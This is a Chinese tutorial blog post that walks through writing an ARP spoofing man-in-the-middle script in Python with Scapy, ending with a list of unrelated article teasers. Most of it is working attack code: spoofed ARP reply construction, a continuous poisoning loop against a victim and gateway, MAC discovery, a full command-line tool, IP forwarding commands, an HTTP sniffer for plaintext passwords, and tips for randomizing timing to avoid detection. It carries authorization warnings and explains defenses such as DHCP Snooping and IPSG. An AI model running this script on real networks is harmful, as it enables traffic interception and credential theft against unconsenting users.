从零实现ARP欺骗脚本:深入理解网络协议与中间人攻击原理
1. 项目概述为什么我们要自己动手写ARP欺骗脚本如果你接触过网络安全或者渗透测试那么“Ettercap”这个名字你一定不陌生。这个老牌的工具几乎是所有安全入门者学习中间人攻击MITM的第一课它功能强大图形界面和命令行都支持点点鼠标或者敲条命令就能轻松发起ARP欺骗。但问题也恰恰出在这里——太方便了以至于我们常常变成了工具的“使用者”而不是原理的“理解者”。当你在面试中被问到ARP欺骗的底层报文交互细节或者在实际复杂网络环境中Ettercap失效时那种知其然不知其所以然的无力感就会瞬间袭来。这就是我们今天要做的抛开Ettercap这个“拐杖”用Python和Scapy库从零开始一行行代码构建我们自己的ARP欺骗脚本。这不仅仅是一个脚本更是一次对网络底层协议的深度解剖。通过亲手实现你会彻底明白ARP协议到底是如何工作的请求和回复报文的每个字段是什么含义ARP欺骗ARP Spoofing的本质是什么它是如何“毒化”目标主机的ARP缓存表的如何构造一个“合格”的欺骗包源MAC、源IP、目标MAC、目标IP该如何设置持续攻击的脚本逻辑是怎样的如何维持欺骗状态对抗网络中可能存在的正确ARP更新掌握这些你就不再是一个只会运行工具的操作员。当网络环境有DHCP Snooping、IPSGIP Source Guard等防护措施时你能理解它们为何能防护ARP欺骗通过绑定合法的IP-MAC-端口关系并可能思考如何绕过或检测这些防护。当工具失效时你能自己调试看看到底是脚本构造的包不对还是网络设备拦截了你的流量。这种能力才是安全从业者的核心价值。本教程将带你从ARP协议原理讲起到Scapy库的基本使用最终完成一个功能完整、可调节参数的ARP欺骗脚本。我会附上详细的代码注释和我在实际测试中踩过的坑。你需要准备一个Python环境建议3.6以上、安装了Scapy库以及一个你可以合法进行测试的网络环境强烈建议使用虚拟机构建的实验环境如VMware或VirtualBox切勿在未经授权的真实网络中进行测试。2. 核心原理深度拆解ARP协议与欺骗的本质要实施攻击必须先理解攻击所利用的漏洞。ARP欺骗之所以能成功根本原因在于ARP协议本身设计的“无状态”和“轻信”特性。2.1 ARP协议的工作机制ARPAddress Resolution Protocol地址解析协议非常简单它的核心任务就是在局域网LAN内通过已知的IP地址找到对应的MAC地址物理地址。你可以把它想象成一个不断更新的“内部通讯录”。它的工作流程基于“询问-应答”模式广播询问当主机AIP: 192.168.1.10, MAC: AA:AA:AA:AA:AA:AA想和主机BIP: 192.168.1.20通信但不知道B的MAC地址时A会向整个局域网广播一个ARP请求包。这个包的大意是“大家好我是192.168.1.10MAC: AA:AA:AA:AA:AA:AA。请问IP地址是192.168.1.20的朋友你的MAC地址是什么”单播应答局域网内所有主机都会收到这个广播包。只有IP地址为192.168.1.20的主机B会做出响应向A发送一个ARP回复包内容是“嗨192.168.1.10我就是192.168.1.20我的MAC地址是BB:BB:BB:BB:BB:BB。”更新缓存主机A收到回复后会将“192.168.1.20 - BB:BB:BB:BB:BB:BB”这个映射关系存入自己的ARP缓存表。后续发往192.168.1.20的报文都会使用这个MAC地址作为目标。注意ARP缓存表是有生存时间TTL的过期后需要重新进行ARP查询。这是维持欺骗需要持续发送包的原因之一。2.2 ARP欺骗的攻击向量攻击者我们IP: 192.168.1.99, MAC: CC:CC:CC:CC:CC:CC的目标是成为主机A和主机B或者是主机A和网关之间的“中间人”。攻击思路是向双方发送伪造的ARP回复包即使它们并没有主动询问。因为ARP协议的设计是主机不仅会响应针对自己的询问还会无条件地接受并更新其ARP缓存中关于其他IP的“主动告知”只要这个告知看起来合理比如来自一个它认为可达的MAC地址。具体分为两步欺骗主机A我们向主机A发送一个伪造的ARP回复包声称“我是网关例如 192.168.1.1我的MAC地址是 CC:CC:CC:CC:CC:CC攻击者的MAC”。主机A会信以为真更新其ARP表将发往网关的流量全部误发到攻击者的机器上。欺骗网关同时我们向网关发送一个伪造的ARP回复包声称“我是主机A192.168.1.10我的MAC地址是 CC:CC:CC:CC:CC:CC”。网关也会更新其ARP表将发往主机A的流量也误发到攻击者这里。至此攻击者就成功“插入”到了A与网关的通信链路中。A发给网关的数据先到攻击者网关发给A的数据也先到攻击者。攻击者可以选择仅仅转发实现监听或者修改后再转发实现篡改。2.3 为何DHCP Snooping IPSG能防护理解了原理就很容易理解防护手段。在一些企业级交换机上可以启用DHCP Snooping和IP Source Guard (IPSG)来防御ARP欺骗。DHCP Snooping交换机会监听DHCP过程记录下从合法DHCP服务器获取IP的客户端及其MAC地址、所属交换机端口并生成一个“绑定表”。这个表记录了哪个端口下哪个MAC地址拥有哪个IP地址是合法的。IP Source Guard (IPSG)基于DHCP Snooping的绑定表IPSG会在交换机端口上实施过滤。对于从该端口进入的流量交换机检查其源IP和源MAC是否与绑定表中的记录一致。如果不一致则丢弃该数据包。当我们发送伪造的ARP回复包时虽然主机A的ARP缓存被毒化了但当A试图用攻击者的MACCC:CC:CC:CC:CC:CC作为源MAC以自己的IP192.168.1.10作为源IP发送数据时交换机检查端口绑定表会发现“这个端口下合法的192.168.1.10对应的MAC应该是AA:AA:AA:AA:AA:AA而不是CC:CC:CC:CC:CC:CC”。于是交换机直接丢弃这个数据包ARP欺骗流量无法被转发攻击失效。所以自己写脚本的另一个好处是在配置了此类防护的网络中你的脚本发送的欺骗包可能无法生效但通过抓包分析你能清晰地看到你的包被发送了但对方的回应或后续流量没有出现这能帮助你快速判断网络是否存在此类二层安全防护而不是盲目怀疑自己的脚本写错了。3. 工具选型为什么是Python Scapy实现网络层包构造和发送我们有几个选择C语言结合原始套接字raw socket、Go语言的gopacket库或者Python的Scapy。这里选择PythonScapy理由非常充分开发效率极高Python语法简洁Scapy的API设计非常人性化用几行代码就能构造出复杂的协议包。相比C语言需要手动计算校验和、填充各层头部等繁琐操作Scapy帮你自动完成了大部分工作。交互式探索Scapy可以作为一个独立的交互式Shell运行。你可以像搭积木一样逐层构造一个数据包并随时发送、接收、查看这对于学习和调试协议来说是无价之宝。协议覆盖全面从二层以太网帧到七层应用层协议Scapy几乎支持所有常见协议。你不仅可以构造ARP还可以轻松构造TCP、UDP、DNS、HTTP等包为后续扩展功能如DNS欺骗、会话劫持打下基础。跨平台Scapy在Linux、macOS、Windows功能可能受限上均可运行保证了脚本的可移植性。社区与生态Python和Scapy拥有庞大的社区遇到问题时更容易找到解决方案和代码示例。安装Scapy非常简单# 大多数情况下使用pip安装即可 pip install scapy # 如果你需要最完整的功能比如无线攻击相关可以安装scapy的完整版 pip install scapy[complete]在Linux系统上运行Scapy可能需要root权限因为它需要访问原始套接字来发送和接收数据包。4. 脚本核心模块设计与代码实现我们的脚本将分为几个核心函数模块结构清晰便于理解和维护。4.1 获取本机网络接口信息在开始欺骗前脚本需要知道使用哪个网卡进行攻击以及本机在该网卡上的IP和MAC地址。Scapy提供了get_if_list()和get_if_addr()等函数但为了获取MAC地址我们需要一个更可靠的方法。import sys import time from scapy.all import ARP, Ether, sendp, get_if_hwaddr, get_if_addr, conf import argparse def get_interface_info(interface): 获取指定网络接口的IP和MAC地址。 参数: interface (str): 网络接口名如 eth0, wlan0 返回: tuple: (local_ip, local_mac) 本地IP和MAC地址 try: local_mac get_if_hwaddr(interface) local_ip get_if_addr(interface) if local_ip 0.0.0.0 or not local_mac: print(f[!] 无法从接口 {interface} 获取有效的IP或MAC地址。请检查接口名称及状态。) sys.exit(1) print(f[*] 使用接口: {interface}) print(f[*] 本机IP: {local_ip}) print(f[*] 本机MAC: {local_mac}) return local_ip, local_mac except Exception as e: print(f[!] 获取接口信息时出错: {e}) sys.exit(1)实操心得在虚拟化环境或某些无线网卡上接口名称可能不是常见的eth0。使用scapy.all.get_if_list()可以列出所有可用接口。我常用ifconfigLinux或ipconfig /allWindows先确认正确的接口名。4.2 构造ARP欺骗包这是脚本的核心。我们需要构造两种包一种是告诉目标“我是网关”另一种是告诉网关“我是目标”。本质上它们都是ARP响应包op2只是发送方和接收方不同。def create_arp_spoof_packet(target_ip, target_mac, spoof_ip, source_mac): 构造一个ARP欺骗包。 这个包会发送给 target_ip/target_mac声称 spoof_ip 的MAC地址是 source_mac即攻击者的MAC。 参数: target_ip (str): 目标主机IP接收欺骗包的主机 target_mac (str): 目标主机MAC地址 spoof_ip (str): 被我们冒用的IP地址例如网关IP或另一台主机IP source_mac (str): 攻击者的MAC地址我们自己的MAC 返回: scapy.packet.Packet: 构造好的以太网帧/ARP包 # 构造以太网帧头目标MAC是target_mac源MAC是我们自己的source_mac ether Ether(dsttarget_mac, srcsource_mac) # 构造ARP包 # op2 表示ARP响应Reply # pdst 是包的目标IP接收方即我们要欺骗的主机 # hwdst 是包的目标MAC同上 # psrc 是我们声称的源IP即被我们冒用的IP如网关 # hwsrc 是我们声称的源MAC即我们自己的MAC arp ARP(op2, pdsttarget_ip, hwdsttarget_mac, psrcspoof_ip, hwsrcsource_mac) # 将以太网帧和ARP包组合起来 spoof_packet ether / arp return spoof_packet关键点解析op2这是最关键的部分。虽然我们是主动发送没有收到对方的请求但我们构造的是一个“ARP响应”包。因为ARP协议接受未经请求的响应Gratuitous ARP这正是漏洞所在。pdst和hwdst这个包最终要发给谁是我们要欺骗的目标主机。psrc和hwsrc我们在这个包里声称自己是谁是我们想要冒充的那个IP网关或另一台主机以及我们自己的MAC地址。4.3 恢复ARP表发送恢复包一个负责任的攻击脚本必须在结束时尝试修复被破坏的ARP表避免造成持久性的网络中断。恢复的原理就是发送正确的ARP信息。def restore_arp(target_ip, target_mac, real_ip, real_mac, source_mac): 发送正确的ARP包以恢复目标主机的ARP缓存。 参数: target_ip (str): 需要恢复的主机IP target_mac (str): 需要恢复的主机MAC real_ip (str): 真实的IP地址例如网关的真实IP real_mac (str): 真实的MAC地址例如网关的真实MAC source_mac (str): 发送恢复包的源MAC一般还是用我们自己的不影响 print(f[*] 正在恢复 {target_ip} 的ARP表...) # 构造正确的ARP响应包告诉target_ipreal_ip的真实MAC是real_mac restore_packet ARP(op2, pdsttarget_ip, hwdsttarget_mac, psrcreal_ip, hwsrcreal_mac) # 发送恢复包通常发送几次以确保覆盖 sendp(restore_packet, count4, verboseFalse) print(f[] 已向 {target_ip} 发送恢复包声称 {real_ip} 在 {real_mac})4.4 主攻击循环与信号处理攻击需要持续进行因为目标主机的ARP缓存会过期或者网络中可能存在正确的ARP广播会覆盖我们的欺骗信息。我们使用一个循环来定时发送欺骗包。同时我们需要捕获键盘中断信号如CtrlC以便在用户退出时执行恢复操作。import signal def arp_spoof(target_ip, gateway_ip, interface, interval2): 主攻击函数持续对目标和网关进行ARP欺骗。 参数: target_ip (str): 受害者主机IP gateway_ip (str): 网关IP interface (str): 使用的网络接口 interval (int): 发送欺骗包的间隔秒 local_ip, local_mac get_interface_info(interface) # 获取目标MAC地址通过发送ARP请求 print(f[*] 正在获取目标 {target_ip} 的MAC地址...) target_mac get_mac(target_ip, interface, local_ip, local_mac) if not target_mac: print(f[!] 无法获取目标 {target_ip} 的MAC地址攻击终止。) return # 获取网关MAC地址 print(f[*] 正在获取网关 {gateway_ip} 的MAC地址...) gateway_mac get_mac(gateway_ip, interface, local_ip, local_mac) if not gateway_mac: print(f[!] 无法获取网关 {gateway_ip} 的MAC地址攻击终止。) return print(f[*] 目标 {target_ip} 的MAC: {target_mac}) print(f[*] 网关 {gateway_ip} 的MAC: {gateway_mac}) print([*] 开始ARP欺骗攻击 (按 CtrlC 停止)...) # 定义信号处理函数用于捕获CtrlC def signal_handler(sig, frame): print(f\n[*] 检测到中断信号停止攻击并恢复ARP表...) restore_arp(target_ip, target_mac, gateway_ip, gateway_mac, local_mac) restore_arp(gateway_ip, gateway_mac, target_ip, target_mac, local_mac) print([] ARP表恢复完成。) sys.exit(0) signal.signal(signal.SIGINT, signal_handler) packet_to_target create_arp_spoof_packet(target_ip, target_mac, gateway_ip, local_mac) packet_to_gateway create_arp_spoof_packet(gateway_ip, gateway_mac, target_ip, local_mac) sent_packets_count 0 try: while True: # 发送欺骗包给目标告诉它网关的MAC是我们 sendp(packet_to_target, verboseFalse) # 发送欺骗包给网关告诉它目标的MAC是我们 sendp(packet_to_gateway, verboseFalse) sent_packets_count 2 print(f\r[*] 已发送欺骗包数量: {sent_packets_count}, end) sys.stdout.flush() time.sleep(interval) except KeyboardInterrupt: # 这里实际上会被signal_handler捕获但加一层try-except更保险 pass except Exception as e: print(f\n[!] 发送过程中发生错误: {e}) restore_arp(target_ip, target_mac, gateway_ip, gateway_mac, local_mac) restore_arp(gateway_ip, gateway_mac, target_ip, target_mac, local_mac)注意事项interval参数很重要。设置太短如0.1秒会洪泛网络可能被察觉或触发防护设置太长如10秒可能导致目标ARP缓存过期恢复攻击中断。通常2-5秒是一个比较平衡的选择。sendp()函数用于在第二层链路层发送包需要指定以太网帧头。我们构造的包已经包含了Ether层所以用sendp。如果构造的是三层网络层包如纯IP包则用send()函数。4.5 获取目标MAC地址的辅助函数我们需要知道目标和网关的MAC地址才能构造定向的欺骗包。这里通过发送一个ARP请求并等待回复来实现。from scapy.all import srp def get_mac(ip_address, interface, local_ip, local_mac, timeout2, retry3): 通过发送ARP请求获取指定IP地址的MAC地址。 参数: ip_address (str): 要查询的IP地址 interface (str): 发送请求的网络接口 local_ip (str): 本机IP local_mac (str): 本机MAC timeout (int): 每次尝试的等待超时时间秒 retry (int): 重试次数 返回: str: 目标的MAC地址如果失败则返回None # 构造ARP请求包 # op1 表示ARP请求 # pdst 是我们要查询的目标IP # psrc 是我们自己的IP arp_request ARP(op1, pdstip_address, psrclocal_ip, hwsrclocal_mac) ether Ether(dstff:ff:ff:ff:ff:ff, srclocal_mac) # 广播地址 packet ether / arp_request for i in range(retry): # srp函数发送并接收第二层包timeout指定超时verboseFalse不显示详细信息 answered, unanswered srp(packet, ifaceinterface, timeouttimeout, verboseFalse) for sent, received in answered: # 收到回复提取源MAC地址即目标MAC return received.hwsrc print(f[.] 第{i1}次尝试获取 {ip_address} 的MAC地址失败正在重试...) time.sleep(1) print(f[!] 错误在 {retry} 次尝试后仍无法获取 {ip_address} 的MAC地址。) print(f 可能原因1. IP地址不在同一网段或不存在2. 目标主机禁用了ARP或设置了防火墙规则3. 网络不通。) return None5. 完整脚本整合与使用示例将上述所有函数整合并添加命令行参数解析我们就得到了一个完整的、可执行的ARP欺骗脚本。#!/usr/bin/env python3 ARP欺骗脚本 - 基于Scapy实现 作者你的名字 描述一个用于教育目的ARP欺骗脚本演示ARP协议漏洞。仅在授权的测试环境中使用。 import sys import time import argparse import signal from scapy.all import ARP, Ether, sendp, srp, get_if_hwaddr, get_if_addr, conf # ... (这里插入上面定义的所有函数get_interface_info, create_arp_spoof_packet, restore_arp, get_mac, arp_spoof) def main(): parser argparse.ArgumentParser(descriptionARP欺骗演示脚本 (教育目的)) parser.add_argument(-t, --target, requiredTrue, help目标主机IP地址) parser.add_argument(-g, --gateway, requiredTrue, help网关IP地址) parser.add_argument(-i, --interface, requiredTrue, help网络接口 (如 eth0, wlan0)) parser.add_argument(-I, --interval, typeint, default2, help发送ARP欺骗包的间隔秒默认2秒) args parser.parse_args() print([*] ARP欺骗脚本启动) print(f[*] 目标IP: {args.target}) print(f[*] 网关IP: {args.gateway}) print(f[*] 网络接口: {args.interface}) print(f[*] 发送间隔: {args.interval}秒) print([!] 警告此脚本仅用于授权的安全测试和教育环境。滥用违法) # 开始攻击 arp_spoof(args.target, args.gateway, args.interface, args.interval) if __name__ __main__: # 防止Windows控制台快速关闭 try: main() except KeyboardInterrupt: print(\n[*] 用户中断程序退出。) sys.exit(0) except PermissionError: print([!] 错误需要管理员/root权限运行此脚本。) sys.exit(1)使用示例保存脚本将上面的完整代码保存为arp_spoofer.py。赋予执行权限Linux/macOS:chmod x arp_spoofer.py以管理员权限运行# Linux/macOS sudo python3 arp_spoofer.py -t 192.168.1.10 -g 192.168.1.1 -i eth0 -I 2 # Windows (以管理员身份运行CMD或PowerShell) python arp_spoofer.py -t 192.168.1.10 -g 192.168.1.1 -i “以太网” -I 2-t指定你要攻击的受害者IP。-g指定网关IP。-i指定你用来攻击的网络接口名称Linux下常用eth0、wlan0Windows下可能是以太网、WLAN具体名称请用ipconfig查看。-I可选指定发送包的间隔默认2秒。观察与停止脚本运行后会先获取MAC地址然后开始持续发送欺骗包。在受害者机器上192.168.1.10你可以用arp -aWindows或ip neigh showLinux命令查看其ARP表会发现网关192.168.1.1的MAC地址已经变成了你攻击机的MAC。按CtrlC可以优雅地停止脚本脚本会自动发送恢复包。6. 实战问题排查与高级技巧在实际测试中你可能会遇到各种问题。下面是我在多次测试中总结的常见问题及解决方法。6.1 常见问题速查表问题现象可能原因排查步骤与解决方案运行脚本提示PermissionError或Socket permission denied缺乏发送原始数据包所需的权限。在Linux/macOS上使用sudo运行。在Windows上以管理员身份运行CMD或PowerShell。无法获取目标或网关的MAC地址 (get_mac失败)1. IP地址错误或主机不在线。2. 目标位于不同子网。3. 防火墙或安全软件阻止了ARP请求/回复。4. 网络接口 (-i) 指定错误。1. 用ping命令测试目标是否可达。2. 确认目标IP和网关IP与你在同一局域网段。3. 临时关闭目标主机和本机的防火墙/安全软件进行测试。4. 使用scapy.all.get_if_list()或在系统命令行中用ip addr/ifconfig确认接口名。脚本运行后受害者ARP表未改变1. 单向欺骗问题只欺骗了目标或网关一方。2. 网络中存在ARP防护如IPSG。3. 发送的ARP包格式不正确或被过滤。1.抓包分析在攻击机用Wireshark或tcpdump抓包过滤arp看你的脚本是否在持续发送ARP Reply包目标MAC和IP是否正确。2. 检查脚本逻辑确保同时向目标和网关发送了欺骗包。3. 在受害者机器上也抓包看是否收到了你的欺骗包。如果没收到可能是交换机端口安全策略。受害者网络中断无法上网1. 攻击机没有开启IP转发导致流量在攻击机处“断掉”。2. 脚本异常退出未发送恢复包。1.开启IP转发Linux:sudo sysctl -w net.ipv4.ip_forward1macOS:sudo sysctl -w net.inet.ip.forwarding1Windows: 比较复杂可通过修改注册表或使用第三方工具通常MITM框架会处理。开启后攻击机会像路由器一样转发流量。2. 确保用CtrlC停止脚本让信号处理函数发送恢复包。如果脚本崩溃可能需要手动在受害者机器上清除ARP缓存或重启。攻击机自身网络变慢或异常攻击机处理大量转发流量CPU或带宽成为瓶颈。1. 增大发送间隔-I参数减少包频率。2. 如果只是学习不需要窃取数据可以不开启IP转发这样只会造成受害者断网便于观察ARP表变化效果。ImportError: No module named scapyScapy库没有安装。使用pip install scapy安装。确保你使用的Python和pip是同一个环境例如如果你用sudo运行脚本可能需要sudo pip install scapy。6.2 高级技巧与扩展思路双向流量嗅探成功实施ARP欺骗并开启IP转发后所有流量都流经你的主机。你可以使用Scapy的sniff()函数来捕获这些流量进行分析。例如过滤HTTP流量端口80来查看明文密码或者过滤DNS查询。请注意在法律允许的范围内进行测试。from scapy.all import sniff def packet_callback(packet): if packet.haslayer(TCP) and packet[TCP].dport 80: # 简单提取HTTP raw data实际中需要更复杂的解析 if packet.haslayer(Raw): payload packet[Raw].load print(payload) # 在另一个线程或进程中启动嗅探 sniff(prnpacket_callback, store0, filtertcp port 80)应对静态ARP条目有些服务器或网络设备会配置静态ARP条目这不会被动态的ARP欺骗包覆盖。这种情况下ARP欺骗无效。你需要寻找其他攻击向量或者如果可能尝试清除静态条目通常需要更高权限。实现DNS欺骗在成为中间人的基础上你可以伪造DNS响应将受害者访问的域名解析到你控制的IP上。这需要结合ARP欺骗和伪造DNS响应包使用Scapy构造DNS层。脚本优化目前的脚本是单线程同步发送。可以改为多线程或异步IO同时欺骗多个目标或者将发送包和嗅探流量放在不同的线程中执行。隐蔽性提升定时发送的ARP包在流量分析中可能呈现明显的规律。可以引入随机间隔如random.uniform(1.5, 3.5)使攻击流量更隐蔽。通过这个从零构建脚本的过程你应该对ARP协议和中间人攻击有了骨髓级的理解。工具只是手臂原理才是大脑。下次当你再听到“中间人攻击”时脑海中浮现的不再只是一个Ettercap的图标而是一幅清晰的ARP请求/回复报文交互图以及如何用代码去操纵它的完整逻辑。这才是安全研究者该有的样子。

相关新闻

YOLO系列模型在人群密度检测中的工程实践与优化

YOLO系列模型在人群密度检测中的工程实践与优化

1. 项目概述在公共安全管理和城市治理领域,人群密度检测系统正发挥着越来越重要的作用。作为一名长期从事计算机视觉应用开发的工程师,我最近完成了一个基于YOLO系列模型的人群密度检测系统项目,从YOLOv5到最新的YOLOv12都进行了全面的测试和…

2026/7/26 7:54:44阅读更多 →
TPOT自动化机器学习工具:原理、应用与优化技巧

TPOT自动化机器学习工具:原理、应用与优化技巧

1. TPOT是什么?为什么需要AutoML工具?TPOT是一个基于Python的开源自动化机器学习(AutoML)工具,它利用遗传算法自动优化机器学习流水线。我第一次接触TPOT是在处理一个包含200多个特征的数据集时,手动尝试各…

2026/7/26 7:54:44阅读更多 →
深入解析CC27xx无线MCU寄存器:LRFDRXF、LRFDS2R与LRFDTRC实战指南

深入解析CC27xx无线MCU寄存器:LRFDRXF、LRFDS2R与LRFDTRC实战指南

1. 项目概述:深入CC27xx无线MCU的寄存器世界搞嵌入式开发,尤其是无线通信这一块,最绕不开的就是和芯片的寄存器打交道。你可能看过很多数据手册,里面大段大段的寄存器描述表格,密密麻麻的位域定义,是不是经…

2026/7/26 7:54:44阅读更多 →
【译】让性能民主化:Copilot Profiler Agent 在实际代码中的应用

【译】让性能民主化:Copilot Profiler Agent 在实际代码中的应用

【译】让性能民主化:Copilot Profiler Agent 在实际代码中的应用 在软件开发中,性能优化常被视为“黑魔法”——只有资深工程师才能凭借经验识别瓶颈。但如今,AI 辅助工具正在打破这种壁垒。本文将介绍如何利用 GitHub Copilot Profiler Age…

2026/7/26 9:17:05阅读更多 →
多模态感知融合网络在遥感图像语义分割中的应用

多模态感知融合网络在遥感图像语义分割中的应用

1. 项目背景与核心挑战 遥感图像语义分割是地理信息系统中一项基础而关键的技术,它通过像素级分类实现对地表覆盖物的自动化识别。传统方法主要依赖单一视觉特征,但在实际应用中,专业人员往往需要结合自然语言描述(如"机场跑…

2026/7/26 9:17:05阅读更多 →
Spring Boot 3.4接口安全实战:RSA+AES混合加密与签名验签方案

Spring Boot 3.4接口安全实战:RSA+AES混合加密与签名验签方案

1. 项目概述:为什么我们需要在Spring Boot 3.4中实现接口加解密与防篡改?最近在做一个金融类的项目,对接的客户方在安全评审时,明确提出了需要满足等保2.0中关于数据传输安全性的要求。核心就两条:一是数据在传输过程中…

2026/7/26 9:17:05阅读更多 →
GetQzonehistory:QQ空间说说备份的完整解决方案

GetQzonehistory:QQ空间说说备份的完整解决方案

GetQzonehistory:QQ空间说说备份的完整解决方案 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾担心QQ空间中的珍贵记忆会因平台变动或账号问题而消失?那…

2026/7/26 9:17:05阅读更多 →
金融领域双编码器Embedding优化实践与性能提升

金融领域双编码器Embedding优化实践与性能提升

1. 项目背景与核心价值 在构建垂类领域的大模型应用时,Embedding质量直接决定了语义理解的上限。过去半年我们团队在金融知识问答系统项目中,发现当专业术语覆盖率不足85%时,基于通用embedding的检索召回率会骤降至60%以下。这就是为什么需要…

2026/7/26 9:17:05阅读更多 →
微软开源Azure Linux:云原生操作系统的技术解析与实践指南

微软开源Azure Linux:云原生操作系统的技术解析与实践指南

最近在技术圈有个很有意思的话题:微软居然免费开源了一个 Linux 操作系统!这听起来有点不可思议,毕竟微软长期以来都是 Windows 的坚定支持者。但事实上,微软确实在云原生时代做出了这个重要的战略转变。 本文就来详细解析微软开…

2026/7/26 9:15:05阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/26 0:01:28阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/26 0:01:28阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/26 0:01:28阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/26 0:01:28阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/26 0:01:28阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/26 0:01:28阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/25 23:03:25阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/25 19:03:04阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/25 19:03:04阅读更多 →